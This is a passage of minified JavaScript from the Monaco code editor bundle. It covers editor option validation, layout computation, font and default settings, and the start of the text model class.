e.arrowSize===t.arrowSize&&e.vertical===t.vertical&&e.horizontal===t.horizontal&&e.useShadows===t.useShadows&&e.verticalHasArrows===t.verticalHasArrows&&e.horizontalHasArrows===t.horizontalHasArrows&&e.handleMouseWheel===t.handleMouseWheel&&e.horizontalScrollbarSize===t.horizontalScrollbarSize&&e.horizontalSliderSize===t.horizontalSliderSize&&e.verticalScrollbarSize===t.verticalScrollbarSize&&e.verticalSliderSize===t.verticalSliderSize&&e.mouseWheelScrollSensitivity===t.mouseWheelScrollSensitivity},e._equalsMinimapOptions=function(e,t){return e.enabled===t.enabled&&e.showSlider===t.showSlider&&e.renderCharacters===t.renderCharacters&&e.maxColumn===t.maxColumn},e._equalsNumberArrays=function(e,t){if(e.length!==t.length)return!1;for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0},e._equalFindOptions=function(e,t){return e.seedSearchStringFromSelection===t.seedSearchStringFromSelection&&e.autoFindInSelection===t.autoFindInSelection},e._equalsWrappingInfo=function(e,t){return e.inDiffEditor===t.inDiffEditor&&e.isDominatedByLongLines===t.isDominatedByLongLines&&e.isWordWrapMinified===t.isWordWrapMinified&&e.isViewportWrapping===t.isViewportWrapping&&e.wrappingColumn===t.wrappingColumn&&e.wrappingIndent===t.wrappingIndent&&e.wordWrapBreakBeforeCharacters===t.wordWrapBreakBeforeCharacters&&e.wordWrapBreakAfterCharacters===t.wordWrapBreakAfterCharacters&&e.wordWrapBreakObtrusiveCharacters===t.wordWrapBreakObtrusiveCharacters},e._equalsContribOptions=function(t,n){return t.selectionClipboard===n.selectionClipboard&&t.hover===n.hover&&t.links===n.links&&t.contextmenu===n.contextmenu&&e._equalsQuickSuggestions(t.quickSuggestions,n.quickSuggestions)&&t.quickSuggestionsDelay===n.quickSuggestionsDelay&&t.parameterHints===n.parameterHints&&t.iconsInSuggestions===n.iconsInSuggestions&&t.formatOnType===n.formatOnType&&t.formatOnPaste===n.formatOnPaste&&t.suggestOnTriggerCharacters===n.suggestOnTriggerCharacters&&t.acceptSuggestionOnEnter===n.acceptSuggestionOnEnter&&t.acceptSuggestionOnCommitCharacter===n.acceptSuggestionOnCommitCharacter&&t.snippetSuggestions===n.snippetSuggestions&&t.wordBasedSuggestions===n.wordBasedSuggestions&&t.suggestFontSize===n.suggestFontSize&&t.suggestLineHeight===n.suggestLineHeight&&t.selectionHighlight===n.selectionHighlight&&t.occurrencesHighlight===n.occurrencesHighlight&&t.codeLens===n.codeLens&&t.folding===n.folding&&t.showFoldingControls===n.showFoldingControls&&t.matchBrackets===n.matchBrackets&&this._equalFindOptions(t.find,n.find)},e._equalsQuickSuggestions=function(e,t){return\"boolean\"==typeof e?\"boolean\"==typeof t&&e===t:\"boolean\"!=typeof t&&(e.comments===t.comments&&e.other===t.other&&e.strings===t.strings)},e}();t.InternalEditorOptions=C;var b=function(){function e(){}return e.validate=function(e,t){var n=e.wordWrap;!0===n?n=\"on\":!1===n&&(n=\"off\"),n=l(n,t.wordWrap,[\"off\",\"on\",\"wordWrapColumn\",\"bounded\"]);var o,r=this._sanitizeViewInfo(e,t.viewInfo),s=this._sanitizeContribInfo(e,t.contribInfo);\"string\"==typeof e.multiCursorModifier&&(o=\"ctrlCmd\"===e.multiCursorModifier?i.isMacintosh?\"metaKey\":\"ctrlKey\":\"altKey\");var d=l(o,t.multiCursorModifier,[\"altKey\",\"metaKey\",\"ctrlKey\"]);return{inDiffEditor:a(e.inDiffEditor,t.inDiffEditor),wordSeparators:u(e.wordSeparators,t.wordSeparators),lineNumbersMinChars:c(e.lineNumbersMinChars,t.lineNumbersMinChars,1,10),lineDecorationsWidth:void 0===e.lineDecorationsWidth?t.lineDecorationsWidth:e.lineDecorationsWidth,readOnly:a(e.readOnly,t.readOnly),mouseStyle:l(e.mouseStyle,t.mouseStyle,[\"text\",\"default\",\"copy\"]),disableLayerHinting:a(e.disableLayerHinting,t.disableLayerHinting),automaticLayout:a(e.automaticLayout,t.automaticLayout),wordWrap:n,wordWrapColumn:c(e.wordWrapColumn,t.wordWrapColumn,1,1073741824),wordWrapMinified:a(e.wordWrapMinified,t.wordWrapMinified),wrappingIndent:h(e.wrappingIndent,t.wrappingIndent),wordWrapBreakBeforeCharacters:u(e.wordWrapBreakBeforeCharacters,t.wordWrapBreakBeforeCharacters),wordWrapBreakAfterCharacters:u(e.wordWrapBreakAfterCharacters,t.wordWrapBreakAfterCharacters),wordWrapBreakObtrusiveCharacters:u(e.wordWrapBreakObtrusiveCharacters,t.wordWrapBreakObtrusiveCharacters),autoClosingBrackets:a(e.autoClosingBrackets,t.autoClosingBrackets),autoIndent:a(e.autoIndent,t.autoIndent),dragAndDrop:a(e.dragAndDrop,t.dragAndDrop),emptySelectionClipboard:a(e.emptySelectionClipboard,t.emptySelectionClipboard),useTabStops:a(e.useTabStops,t.useTabStops),multiCursorModifier:d,accessibilitySupport:l(e.accessibilitySupport,t.accessibilitySupport,[\"auto\",\"on\",\"off\"]),viewInfo:r,contribInfo:s}},e._sanitizeScrollbarOpts=function(e,t,n){if(\"object\"!=typeof e)return t;var i=c(e.horizontalScrollbarSize,t.horizontalScrollbarSize,0,1e3),o=c(e.verticalScrollbarSize,t.verticalScrollbarSize,0,1e3);return{vertical:f(e.vertical,t.vertical),horizontal:f(e.horizontal,t.horizontal),arrowSize:c(e.arrowSize,t.arrowSize,0,1e3),useShadows:a(e.useShadows,t.useShadows),verticalHasArrows:a(e.verticalHasArrows,t.verticalHasArrows),horizontalHasArrows:a(e.horizontalHasArrows,t.horizontalHasArrows),horizontalScrollbarSize:i,horizontalSliderSize:c(e.horizontalSliderSize,i,0,1e3),verticalScrollbarSize:o,verticalSliderSize:c(e.verticalSliderSize,o,0,1e3),handleMouseWheel:a(e.handleMouseWheel,t.handleMouseWheel),mouseWheelScrollSensitivity:n}},e._sanitizeMinimapOpts=function(e,t){return\"object\"!=typeof e?t:{enabled:a(e.enabled,t.enabled),showSlider:l(e.showSlider,t.showSlider,[\"always\",\"mouseover\"]),renderCharacters:a(e.renderCharacters,t.renderCharacters),maxColumn:c(e.maxColumn,t.maxColumn,1,1e4)}},e._santizeFindOpts=function(e,t){return\"object\"!=typeof e?t:{seedSearchStringFromSelection:a(e.seedSearchStringFromSelection,t.seedSearchStringFromSelection),autoFindInSelection:a(e.autoFindInSelection,t.autoFindInSelection)}},e._sanitizeViewInfo=function(e,t){var n=[];if(Array.isArray(e.rulers)){for(var i=0,o=e.rulers.length;i<o;i++)n.push(c(e.rulers[i],0,0,1e4));n.sort()}var r=t.renderLineNumbers,h=t.renderCustomLineNumbers,f=t.renderRelativeLineNumbers;if(void 0!==e.lineNumbers){var g=e.lineNumbers;!0===g?g=\"on\":!1===g&&(g=\"off\"),\"function\"==typeof g?(r=!0,h=g,f=!1):\"relative\"===g?(r=!0,h=null,f=!0):\"on\"===g?(r=!0,h=null,f=!1):(r=!1,h=null,f=!1)}var m=a(e.fontLigatures,t.fontLigatures),v=a(e.disableMonospaceOptimizations,t.disableMonospaceOptimizations)||m,_=e.renderWhitespace;!0===_?_=\"boundary\":!1===_&&(_=\"none\"),_=l(e.renderWhitespace,t.renderWhitespace,[\"none\",\"boundary\",\"all\"]);var y=e.renderLineHighlight;!0===y?y=\"line\":!1===y&&(y=\"none\"),y=l(e.renderLineHighlight,t.renderLineHighlight,[\"none\",\"gutter\",\"line\",\"all\"]);var C=d(e.mouseWheelScrollSensitivity,t.scrollbar.mouseWheelScrollSensitivity),b=this._sanitizeScrollbarOpts(e.scrollbar,t.scrollbar,C),w=this._sanitizeMinimapOpts(e.minimap,t.minimap);return{extraEditorClassName:u(e.extraEditorClassName,t.extraEditorClassName),disableMonospaceOptimizations:v,rulers:n,ariaLabel:u(e.ariaLabel,t.ariaLabel),renderLineNumbers:r,renderCustomLineNumbers:h,renderRelativeLineNumbers:f,selectOnLineNumbers:a(e.selectOnLineNumbers,t.selectOnLineNumbers),glyphMargin:a(e.glyphMargin,t.glyphMargin),revealHorizontalRightPadding:c(e.revealHorizontalRightPadding,t.revealHorizontalRightPadding,0,1e3),roundedSelection:a(e.roundedSelection,t.roundedSelection),overviewRulerLanes:c(e.overviewRulerLanes,t.overviewRulerLanes,0,3),overviewRulerBorder:a(e.overviewRulerBorder,t.overviewRulerBorder),cursorBlinking:p(e.cursorBlinking,t.cursorBlinking),mouseWheelZoom:a(e.mouseWheelZoom,t.mouseWheelZoom),cursorStyle:s(e.cursorStyle,t.cursorStyle),hideCursorInOverviewRuler:a(e.hideCursorInOverviewRuler,t.hideCursorInOverviewRuler),scrollBeyondLastLine:a(e.scrollBeyondLastLine,t.scrollBeyondLastLine),stopRenderingLineAfter:c(e.stopRenderingLineAfter,t.stopRenderingLineAfter,-1,1073741824),renderWhitespace:_,renderControlCharacters:a(e.renderControlCharacters,t.renderControlCharacters),fontLigatures:m,renderIndentGuides:a(e.renderIndentGuides,t.renderIndentGuides),renderLineHighlight:y,scrollbar:b,minimap:w,fixedOverflowWidgets:a(e.fixedOverflowWidgets,t.fixedOverflowWidgets)}},e._sanitizeContribInfo=function(e,t){var n;n=\"object\"==typeof e.quickSuggestions?_({other:!0},e.quickSuggestions):a(e.quickSuggestions,t.quickSuggestions);var i=this._santizeFindOpts(e.find,t.find);return{selectionClipboard:a(e.selectionClipboard,t.selectionClipboard),hover:a(e.hover,t.hover),links:a(e.links,t.links),contextmenu:a(e.contextmenu,t.contextmenu),quickSuggestions:n,quickSuggestionsDelay:c(e.quickSuggestionsDelay,t.quickSuggestionsDelay,-1073741824,1073741824),parameterHints:a(e.parameterHints,t.parameterHints),iconsInSuggestions:a(e.iconsInSuggestions,t.iconsInSuggestions),formatOnType:a(e.formatOnType,t.formatOnType),formatOnPaste:a(e.formatOnPaste,t.formatOnPaste),suggestOnTriggerCharacters:a(e.suggestOnTriggerCharacters,t.suggestOnTriggerCharacters),acceptSuggestionOnEnter:l(e.acceptSuggestionOnEnter,t.acceptSuggestionOnEnter,[\"on\",\"smart\",\"off\"]),acceptSuggestionOnCommitCharacter:a(e.acceptSuggestionOnCommitCharacter,t.acceptSuggestionOnCommitCharacter),snippetSuggestions:l(e.snippetSuggestions,t.snippetSuggestions,[\"top\",\"bottom\",\"inline\",\"none\"]),wordBasedSuggestions:a(e.wordBasedSuggestions,t.wordBasedSuggestions),suggestFontSize:c(e.suggestFontSize,t.suggestFontSize,0,1e3),suggestLineHeight:c(e.suggestLineHeight,t.suggestLineHeight,0,1e3),selectionHighlight:a(e.selectionHighlight,t.selectionHighlight),occurrencesHighlight:a(e.occurrencesHighlight,t.occurrencesHighlight),codeLens:a(e.codeLens,t.codeLens)&&a(e.referenceInfos,!0),folding:a(e.folding,t.folding),showFoldingControls:l(e.showFoldingControls,t.showFoldingControls,[\"always\",\"mouseover\"]),matchBrackets:a(e.matchBrackets,t.matchBrackets),find:i}},e}();t.EditorOptionsValidator=b;var w=function(){function e(){}return e._tweakValidatedOptions=function(e,t){var i=2===t,o=1===t;return{inDiffEditor:e.inDiffEditor,wordSeparators:e.wordSeparators,lineNumbersMinChars:e.lineNumbersMinChars,lineDecorationsWidth:e.lineDecorationsWidth,readOnly:e.readOnly,mouseStyle:e.mouseStyle,disableLayerHinting:e.disableLayerHinting,automaticLayout:e.automaticLayout,wordWrap:e.wordWrap,wordWrapColumn:e.wordWrapColumn,wordWrapMinified:e.wordWrapMinified,wrappingIndent:e.wrappingIndent,wordWrapBreakBeforeCharacters:e.wordWrapBreakBeforeCharacters,wordWrapBreakAfterCharacters:e.wordWrapBreakAfterCharacters,wordWrapBreakObtrusiveCharacters:e.wordWrapBreakObtrusiveCharacters,autoClosingBrackets:e.autoClosingBrackets,autoIndent:e.autoIndent,dragAndDrop:e.dragAndDrop,emptySelectionClipboard:e.emptySelectionClipboard,useTabStops:e.useTabStops,multiCursorModifier:e.multiCursorModifier,accessibilitySupport:e.accessibilitySupport,viewInfo:{extraEditorClassName:e.viewInfo.extraEditorClassName,disableMonospaceOptimizations:e.viewInfo.disableMonospaceOptimizations,rulers:e.viewInfo.rulers,ariaLabel:o?n.localize(0,null):e.viewInfo.ariaLabel,renderLineNumbers:e.viewInfo.renderLineNumbers,renderCustomLineNumbers:e.viewInfo.renderCustomLineNumbers,renderRelativeLineNumbers:e.viewInfo.renderRelativeLineNumbers,selectOnLineNumbers:e.viewInfo.selectOnLineNumbers,glyphMargin:e.viewInfo.glyphMargin,revealHorizontalRightPadding:e.viewInfo.revealHorizontalRightPadding,roundedSelection:!i&&e.viewInfo.roundedSelection,overviewRulerLanes:e.viewInfo.overviewRulerLanes,overviewRulerBorder:e.viewInfo.overviewRulerBorder,cursorBlinking:e.viewInfo.cursorBlinking,mouseWheelZoom:e.viewInfo.mouseWheelZoom,cursorStyle:e.viewInfo.cursorStyle,hideCursorInOverviewRuler:e.viewInfo.hideCursorInOverviewRuler,scrollBeyondLastLine:e.viewInfo.scrollBeyondLastLine,stopRenderingLineAfter:e.viewInfo.stopRenderingLineAfter,renderWhitespace:i?\"none\":e.viewInfo.renderWhitespace,renderControlCharacters:!i&&e.viewInfo.renderControlCharacters,fontLigatures:!i&&e.viewInfo.fontLigatures,renderIndentGuides:!i&&e.viewInfo.renderIndentGuides,renderLineHighlight:i?\"none\":e.viewInfo.renderLineHighlight,scrollbar:e.viewInfo.scrollbar,minimap:{enabled:!i&&e.viewInfo.minimap.enabled,renderCharacters:e.viewInfo.minimap.renderCharacters,showSlider:e.viewInfo.minimap.showSlider,maxColumn:e.viewInfo.minimap.maxColumn},fixedOverflowWidgets:e.viewInfo.fixedOverflowWidgets},contribInfo:{selectionClipboard:e.contribInfo.selectionClipboard,hover:e.contribInfo.hover,links:!i&&e.contribInfo.links,contextmenu:e.contribInfo.contextmenu,quickSuggestions:e.contribInfo.quickSuggestions,quickSuggestionsDelay:e.contribInfo.quickSuggestionsDelay,parameterHints:e.contribInfo.parameterHints,iconsInSuggestions:e.contribInfo.iconsInSuggestions,formatOnType:e.contribInfo.formatOnType,formatOnPaste:e.contribInfo.formatOnPaste,suggestOnTriggerCharacters:e.contribInfo.suggestOnTriggerCharacters,acceptSuggestionOnEnter:e.contribInfo.acceptSuggestionOnEnter,acceptSuggestionOnCommitCharacter:e.contribInfo.acceptSuggestionOnCommitCharacter,snippetSuggestions:e.contribInfo.snippetSuggestions,wordBasedSuggestions:e.contribInfo.wordBasedSuggestions,suggestFontSize:e.contribInfo.suggestFontSize,suggestLineHeight:e.contribInfo.suggestLineHeight,selectionHighlight:!i&&e.contribInfo.selectionHighlight,occurrencesHighlight:!i&&e.contribInfo.occurrencesHighlight,codeLens:!i&&e.contribInfo.codeLens,folding:!i&&e.contribInfo.folding,showFoldingControls:e.contribInfo.showFoldingControls,matchBrackets:!i&&e.contribInfo.matchBrackets,find:e.contribInfo.find}}},e.createInternalEditorOptions=function(e,t){var n;n=\"auto\"===t.accessibilitySupport?e.accessibilitySupport:\"on\"===t.accessibilitySupport?2:1;var i,o=this._tweakValidatedOptions(t,n);i=\"string\"==typeof o.lineDecorationsWidth&&/^\\d+(\\.\\d+)?ch$/.test(o.lineDecorationsWidth)?parseFloat(o.lineDecorationsWidth.substr(0,o.lineDecorationsWidth.length-2))*e.fontInfo.typicalHalfwidthCharacterWidth:c(o.lineDecorationsWidth,0,0,1e3),o.contribInfo.folding&&(i+=16);var r=S.compute({outerWidth:e.outerWidth,outerHeight:e.outerHeight,showGlyphMargin:o.viewInfo.glyphMargin,lineHeight:e.fontInfo.lineHeight,showLineNumbers:o.viewInfo.renderLineNumbers,lineNumbersMinChars:o.lineNumbersMinChars,lineNumbersDigitCount:e.lineNumbersDigitCount,lineDecorationsWidth:i,typicalHalfwidthCharacterWidth:e.fontInfo.typicalHalfwidthCharacterWidth,maxDigitWidth:e.fontInfo.maxDigitWidth,verticalScrollbarWidth:o.viewInfo.scrollbar.verticalScrollbarSize,horizontalScrollbarHeight:o.viewInfo.scrollbar.horizontalScrollbarSize,scrollbarArrowSize:o.viewInfo.scrollbar.arrowSize,verticalScrollbarHasArrows:o.viewInfo.scrollbar.verticalHasArrows,minimap:o.viewInfo.minimap.enabled,minimapRenderCharacters:o.viewInfo.minimap.renderCharacters,minimapMaxColumn:o.viewInfo.minimap.maxColumn,pixelRatio:e.pixelRatio}),s=null,a=o.wordWrap,u=o.wordWrapColumn,l=o.wordWrapMinified;s=2===n?{isWordWrapMinified:!1,isViewportWrapping:!1,wrappingColumn:-1}:l&&e.isDominatedByLongLines?{isWordWrapMinified:!0,isViewportWrapping:!0,wrappingColumn:Math.max(1,r.viewportColumn)}:\"on\"===a?{isWordWrapMinified:!1,isViewportWrapping:!0,wrappingColumn:Math.max(1,r.viewportColumn)}:\"bounded\"===a?{isWordWrapMinified:!1,isViewportWrapping:!0,wrappingColumn:Math.min(Math.max(1,r.viewportColumn),u)}:\"wordWrapColumn\"===a?{isWordWrapMinified:!1,isViewportWrapping:!1,wrappingColumn:u}:{isWordWrapMinified:!1,isViewportWrapping:!1,wrappingColumn:-1};var d={inDiffEditor:o.inDiffEditor,isDominatedByLongLines:e.isDominatedByLongLines,isWordWrapMinified:s.isWordWrapMinified,isViewportWrapping:s.isViewportWrapping,wrappingColumn:s.wrappingColumn,wrappingIndent:o.wrappingIndent,wordWrapBreakBeforeCharacters:o.wordWrapBreakBeforeCharacters,wordWrapBreakAfterCharacters:o.wordWrapBreakAfterCharacters,wordWrapBreakObtrusiveCharacters:o.wordWrapBreakObtrusiveCharacters},h=\"monaco-editor\";return o.viewInfo.extraEditorClassName&&(h+=\" \"+o.viewInfo.extraEditorClassName),e.extraEditorClassName&&(h+=\" \"+e.extraEditorClassName),o.viewInfo.fontLigatures&&(h+=\" enable-ligatures\"),\"default\"===o.mouseStyle?h+=\" mouse-default\":\"copy\"===o.mouseStyle&&(h+=\" mouse-copy\"),new C({canUseLayerHinting:!o.disableLayerHinting,pixelRatio:e.pixelRatio,editorClassName:h,lineHeight:e.fontInfo.lineHeight,readOnly:o.readOnly,accessibilitySupport:n,multiCursorModifier:o.multiCursorModifier,wordSeparators:o.wordSeparators,autoClosingBrackets:o.autoClosingBrackets,autoIndent:o.autoIndent,useTabStops:o.useTabStops,tabFocusMode:!!o.readOnly||e.tabFocusMode,dragAndDrop:o.dragAndDrop,emptySelectionClipboard:o.emptySelectionClipboard&&e.emptySelectionClipboard,layoutInfo:r,fontInfo:e.fontInfo,viewInfo:o.viewInfo,wrappingInfo:d,contribInfo:o.contribInfo})},e}();t.InternalEditorOptionsFactory=w;var S=function(){function e(){}return e.compute=function(e){var t=0|e.outerWidth,n=0|e.outerHeight,i=e.showGlyphMargin,o=0|e.lineHeight,r=e.showLineNumbers,s=0|e.lineNumbersMinChars,a=0|e.lineNumbersDigitCount,u=0|e.lineDecorationsWidth,l=e.typicalHalfwidthCharacterWidth,c=e.maxDigitWidth,d=0|e.verticalScrollbarWidth,h=e.verticalScrollbarHasArrows,p=0|e.scrollbarArrowSize,f=0|e.horizontalScrollbarHeight,m=e.minimap,v=e.minimapRenderCharacters,_=0|e.minimapMaxColumn,y=e.pixelRatio,C=0;if(r){var b=Math.max(a,s);C=Math.round(b*c)}var w=0;i&&(w=o);var S,E,L,x=0+w,N=x+C,M=N+u,T=t-w-C-u;if(m){var k=void 0;y>=2?(S=v?g.Large:g.LargeBlocks,k=2/y):(S=v?g.Small:g.SmallBlocks,k=1/y),(E=Math.max(0,Math.floor((T-d)*k/(l+k))))/k>_&&(E=Math.floor(_*k)),L=T-E}else E=0,S=g.None,L=T;var I=Math.max(1,Math.floor((L-d)/l)),D=h?p:0;return{width:t,height:n,glyphMarginLeft:0,glyphMarginWidth:w,glyphMarginHeight:n,lineNumbersLeft:x,lineNumbersWidth:C,lineNumbersHeight:n,decorationsLeft:N,decorationsWidth:u,decorationsHeight:n,contentLeft:M,contentWidth:L,contentHeight:n,renderMinimap:S,minimapWidth:E,viewportColumn:I,verticalScrollbarWidth:d,horizontalScrollbarHeight:f,overviewRuler:{top:D,width:d,height:n-2*D,right:0}}},e}();t.EditorLayoutProvider=S;t.EDITOR_FONT_DEFAULTS={fontFamily:i.isMacintosh?\"Menlo, Monaco, 'Courier New', monospace\":i.isLinux?\"'Droid Sans Mono', 'Courier New', monospace, 'Droid Sans Fallback'\":\"Consolas, 'Courier New', monospace\",fontWeight:\"normal\",fontSize:i.isMacintosh?12:14,lineHeight:0,letterSpacing:0},t.EDITOR_MODEL_DEFAULTS={tabSize:4,insertSpaces:!0,detectIndentation:!0,trimAutoWhitespace:!0},t.EDITOR_DEFAULTS={inDiffEditor:!1,wordSeparators:r.USUAL_WORD_SEPARATORS,lineNumbersMinChars:5,lineDecorationsWidth:10,readOnly:!1,mouseStyle:\"text\",disableLayerHinting:!1,automaticLayout:!1,wordWrap:\"off\",wordWrapColumn:80,wordWrapMinified:!0,wrappingIndent:m.Same,wordWrapBreakBeforeCharacters:\"([{‘“〈《「『【〔（［｛｢£¥＄￡￥+＋\",wordWrapBreakAfterCharacters:\" \\t})]?|&,;¢°′″‰℃、。｡､￠，．：；？！％・･ゝゞヽヾーァィゥェォッャュョヮヵヶぁぃぅぇぉっゃゅょゎゕゖㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ々〻ｧｨｩｪｫｬｭｮｯｰ”〉》」』】〕）］｝｣\",wordWrapBreakObtrusiveCharacters:\".\",autoClosingBrackets:!0,autoIndent:!0,dragAndDrop:!0,emptySelectionClipboard:!0,useTabStops:!0,multiCursorModifier:\"altKey\",accessibilitySupport:\"auto\",viewInfo:{extraEditorClassName:\"\",disableMonospaceOptimizations:!1,rulers:[],ariaLabel:n.localize(1,null),renderLineNumbers:!0,renderCustomLineNumbers:null,renderRelativeLineNumbers:!1,selectOnLineNumbers:!0,glyphMargin:!0,revealHorizontalRightPadding:30,roundedSelection:!0,overviewRulerLanes:2,overviewRulerBorder:!0,cursorBlinking:v.Blink,mouseWheelZoom:!1,cursorStyle:y.Line,hideCursorInOverviewRuler:!1,scrollBeyondLastLine:!0,stopRenderingLineAfter:1e4,renderWhitespace:\"none\",renderControlCharacters:!1,fontLigatures:!1,renderIndentGuides:!0,renderLineHighlight:\"line\",scrollbar:{vertical:o.ScrollbarVisibility.Auto,horizontal:o.ScrollbarVisibility.Auto,arrowSize:11,useShadows:!0,verticalHasArrows:!1,horizontalHasArrows:!1,horizontalScrollbarSize:10,horizontalSliderSize:10,verticalScrollbarSize:14,verticalSliderSize:14,handleMouseWheel:!0,mouseWheelScrollSensitivity:1},minimap:{enabled:!0,showSlider:\"mouseover\",renderCharacters:!0,maxColumn:120},fixedOverflowWidgets:!1},contribInfo:{selectionClipboard:!0,hover:!0,links:!0,contextmenu:!0,quickSuggestions:{other:!0,comments:!1,strings:!1},quickSuggestionsDelay:10,parameterHints:!0,iconsInSuggestions:!0,formatOnType:!1,formatOnPaste:!1,suggestOnTriggerCharacters:!0,acceptSuggestionOnEnter:\"on\",acceptSuggestionOnCommitCharacter:!0,snippetSuggestions:\"inline\",wordBasedSuggestions:!0,suggestFontSize:0,suggestLineHeight:0,selectionHighlight:!0,occurrencesHighlight:!0,codeLens:!0,folding:!0,showFoldingControls:\"mouseover\",matchBrackets:!0,find:{seedSearchStringFromSelection:!0,autoFindInSelection:!1}}}}),define(d[132],h([1,0,15,135,49]),function(e,t,n,i,o){\"use strict\";function r(e,t){if(\"number\"==typeof e)return e;var n=parseFloat(e);return isNaN(n)?t:n}function s(e,t){if(\"number\"==typeof e)return Math.round(e);var n=parseInt(e);return isNaN(n)?t:n}function a(e,t,n){return e<t?t:e>n?n:e}function u(e,t){return\"string\"!=typeof e?t:e}Object.defineProperty(t,\"__esModule\",{value:!0});var l=n.isMacintosh?1.5:1.35,c=function(){function e(e){this.zoomLevel=e.zoomLevel,this.fontFamily=String(e.fontFamily),this.fontWeight=String(e.fontWeight),this.fontSize=e.fontSize,this.lineHeight=0|e.lineHeight,this.letterSpacing=e.letterSpacing}return e.createFromRawSettings=function(t,n){var c=u(t.fontFamily,o.EDITOR_FONT_DEFAULTS.fontFamily),d=u(t.fontWeight,o.EDITOR_FONT_DEFAULTS.fontWeight),h=r(t.fontSize,o.EDITOR_FONT_DEFAULTS.fontSize);0===(h=a(h,0,100))?h=o.EDITOR_FONT_DEFAULTS.fontSize:h<8&&(h=8);var p=s(t.lineHeight,0);0===(p=a(p,0,150))?p=Math.round(l*h):p<8&&(p=8);var f=r(t.letterSpacing,0);f=a(f,-20,20);var g=1+.1*i.EditorZoom.getZoomLevel();return h*=g,p*=g,new e({zoomLevel:n,fontFamily:c,fontWeight:d,fontSize:h,lineHeight:p,letterSpacing:f})},e.prototype.getId=function(){return this.zoomLevel+\"-\"+this.fontFamily+\"-\"+this.fontWeight+\"-\"+this.fontSize+\"-\"+this.lineHeight+\"-\"+this.letterSpacing},e}();t.BareFontInfo=c;var d=function(e){function t(t,n){var i=e.call(this,t)||this;return i.isTrusted=n,i.isMonospace=t.isMonospace,i.typicalHalfwidthCharacterWidth=t.typicalHalfwidthCharacterWidth,i.typicalFullwidthCharacterWidth=t.typicalFullwidthCharacterWidth,i.spaceWidth=t.spaceWidth,i.maxDigitWidth=t.maxDigitWidth,i}return f(t,e),t.prototype.equals=function(e){return this.fontFamily===e.fontFamily&&this.fontWeight===e.fontWeight&&this.fontSize===e.fontSize&&this.lineHeight===e.lineHeight&&this.letterSpacing===e.letterSpacing&&this.typicalHalfwidthCharacterWidth===e.typicalHalfwidthCharacterWidth&&this.typicalFullwidthCharacterWidth===e.typicalFullwidthCharacterWidth&&this.spaceWidth===e.spaceWidth&&this.maxDigitWidth===e.maxDigitWidth},t}(c);t.FontInfo=d}),define(d[93],h([1,0,38,9,12,2,20,118,482,49,104,481,158,101,55]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});t.LONG_LINE_BOUNDARY=1e4;var g=function(){function e(t,i){this._eventEmitter=new n.OrderGuaranteeEventEmitter;var o=e.resolveCreationData(t,i);this._isTooLargeForTokenization=o.text.length>e.MODEL_TOKENIZATION_LIMIT||o.text.lines.length>e.MANY_MANY_LINES,this._shouldSimplifyMode=this._isTooLargeForTokenization||o.text.length>e.MODEL_SYNC_LIMIT,this._options=new s.TextModelResolvedOptions(o.options),this._constructLines(o.text),this._setVersionId(1),this._isDisposed=!1,this._isDisposing=!1}return e.createFromString=function(t,n){return void 0===n&&(n=e.DEFAULT_CREATION_OPTIONS),new e(p.RawTextSource.fromString(t),n)},e.resolveCreationData=function(e,t){var n,i=p.TextSource.fromRawTextSource(e,t.defaultEOL);if(t.detectIndentation){var o=u.guessIndentation(i.lines,t.tabSize,t.insertSpaces);n=new s.TextModelResolvedOptions({tabSize:o.tabSize,insertSpaces:o.insertSpaces,trimAutoWhitespace:t.trimAutoWhitespace,defaultEOL:t.defaultEOL})}else n=new s.TextModelResolvedOptions({tabSize:t.tabSize,insertSpaces:t.insertSpaces,trimAutoWhitespace:t.trimAutoWhitespace,defaultEOL:t.defaultEOL});return{text:i,options:n}},e.prototype.addBulkListener=function(e){return this._eventEmitter.addBulkListener(e)},e.prototype._createModelLine=function(e,t){return this._isTooLargeForTokenization?new a.MinimalModelLine(e,t):new a.ModelLine(e,t)},e.prototype._assertNotDisposed=function(){if(this._isDisposed)throw new Error(\"Model is disposed!\")},e.prototype.isTooLargeForHavingARichMode=function(){return this._shouldSimplifyMode},e.prototype.isTooLargeForTokenization=function(){return this._isTooLargeForTokenization},e.prototype.getOptions=function(){return this._assertNotDisposed(),this._options},e.prototype.updateOptions=function(e){this._assertNotDisposed();var t=void 0!==e.tabSize?e.tabSize:this._options.tabSize,n=void 0!==e.insertSpaces?e.insertSpaces:this._options.insertSpaces,i=void 0!==e.trimAutoWhitespace?e.trimAutoWhitespace:this._options.trimAutoWhitespace,o=new s.TextModelResolvedOptions({tabSize:t,insertSpaces:n,defaultEOL:this._options.defaultEOL,trimAutoWhitespace:i});if(!this._options.equals(o)){var r=this._options.createChangeEvent(o);if(this._options=o,r.tabSize)for(var a=this._options.tabSize,u=0,l=this._lines.length;u<l;u++)this._lines[u].updateTabSize(a);this._eventEmitter.emit(f.TextModelEventType.ModelOptionsChanged,r)}},e.prototype.detectIndentation=function(e,t){this._assertNotDisposed();var n=this._lines.map(function(e){return e.text}),i=u.guessIndentation(n,t,e);this.updateOptions({insertSpaces:i.insertSpaces,tabSize:i.tabSize})},e._normalizeIndentationFromWhitespace=function(e,t,n){for(var i=0,o=0;o<e.length;o++)\"\\t\"===e.charAt(o)?i+=t:i++;var r=\"\";if(!n){var s=Math.floor(i/t);i%=t;for(o=0;o<s;o++)r+=\"\\t\"}for(o=0;o<i;o++)r+=\" \";return r},e.normalizeIndentation=function(t,n,o){var r=i.firstNonWhitespaceIndex(t);return-1===r&&(r=t.length),e._normalizeIndentationFromWhitespace(t.substring(0,r),n,o)+t.substring(r)},e.prototype.normalizeIndentation=function(t){return this._assertNotDisposed(),e.normalizeIndentation(t,this._options.tabSize,this._options.insertSpaces)},e.prototype.getOneIndent=function(){this._assertNotDisposed();var e=this._options.tabSize;if(this._options.insertSpaces){for(var t=\"\",n=0;n<e;n++)t+=\" \";return t}return\"\\t\"},e.prototype.getVersionId=function(){return this._assertNotDisposed(),this._versionId},e.prototype.mightContainRTL=function(){return this._mightContainRTL},e.prototype.mightContainNonBasicASCII=function(){return this._mightContainNonBasicASCII},e.prototype.getAlternativeVersionId=function(){return this._assertNotDisposed(),this._alternativeVersionId},e.prototype._ensureLineStarts=function(){if(!this._lineStarts){for(var e=this._EOL.length,t=this._lines.length,n=new Uint32Array(t),i=0;i<t;i++)n[i]=this._lines[i].text.length+e;this._lineStarts=new 